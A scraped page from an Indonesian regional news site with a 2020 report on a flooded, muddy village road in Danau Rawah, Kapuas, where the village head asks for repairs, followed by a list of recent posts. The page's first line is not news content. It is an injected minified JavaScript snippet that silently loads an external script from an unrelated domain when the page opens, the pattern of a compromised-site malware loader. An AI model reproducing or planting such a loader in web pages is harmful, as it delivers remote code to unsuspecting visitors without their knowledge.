(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Rusak Parah Penuh Lumpur, Jalan di Danau Rawah Menanti Perbaikan


KANALKALIMANTAN. COM, KUALA KAPUAS – Pemerintah Desa Danau Rawah, Kecamatan Mantangai, Kabupaten Kapuas, Kalteng, mengeluhkan kondisi akses jalan di desa mereka yang saat ini rusak parah.

Bayangkan, jalan lintas desa yang berada di permukiman padat penduduk itu terlihat digenangi air dan rusak parah, hingga kini belum pernah diperbaiki.

Parahnya lagi, kondisi jalan desa tersebut mengganggu kelancaran transportasi warga. Kondisi jalan yang rusak parah juga banjir itu berlangsung musiman.

Padahal, jalan di desa Danau Rawah ini merupakan akses warga yang hendak mau ke kota dan ke pasar tradisional, juga digunakan untuk akses menuju lahan pertanian dan ke pusat kecamatan termasuk kabupaten.

 

Mobil warga yang terperosok di jalan desa Danau Rawah, Kecamatan Mantangai akibat jalan rusak parah. Foto : ags

“Kalau cuaca panas kondisi jalan berdebu. Kalau hujan, jalan berlumpur dan banyak genangan air,” ungkap Kusmawedi seorang sopir angkutan penumpang desa Danau rawah kepada kanalkalimantan, Rabu (2/12/2020).

Ditambahkannya, jalan yang rusak tersebut kerap menimbulkan persoalan bagi pengendara. “Banjir di 22 titik dengan kedalaman satu meter dengan panjang kurang lebih 50 meter,” bebernya. Banjir serta lumpur di saat hujan, kadang memicu kecelakaan akibat terperosok ke lumpur yang dalam.

Kepala Desa Danau Rawah H Suriano mengungkapkan, akibat akses jalan rusak dan banjir, dikhawatirkan dapat membahayakan para pengguna jalan.
Selain itu, lanjutnya, kadang warga sering gotong royong untuk menimbun jalan rusak dengan menggunakan pasir, namun saat musim penghujan tiba, pasir itu akan habis terseret air.

Mobil warga yang terperosok di jalan desa Danau Rawah, Kecamatan Mantangai akibat jalan rusak parah. Foto : ags

“Kami harapkan Pemerintah Kabupaten Kapuas khususnya dinas PU Kapuas segera memperbaiki jalan desa kami ini, agar jalur yang kami lewati keseharian ini bisa bagus walau pun tidak sebagus hotmix agar bisa lancar ketika kami mau mengantar hasil tani ke pasar tradisional sana,” harap H Suriano.

“Kadang-kadang mobil angkutan penumpang pun malas masuk ke desa ini karena kondisi jalan banjir serta rusak. Apalagi kalau hujan, kita tidak bisa lagi membandingkan mana lubang atau tidak karena kondisinya sudah rata semua,” tuturnya.

Lanjut H Suriano, jalan yang rusak terdapat di beberapa titik yang menyulitkan warga saat melintas terutama menggunakan kendaraan roda dua maupun roda empat. Selain itu, akses dijalan digunakan untuk mengangkut hasil pertanian milik warga. Salah satunya penghasil karet di desa Danau Rawah. (kanalkalimantan.com/ags)

Reporter : Ags
Editor : Bie

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.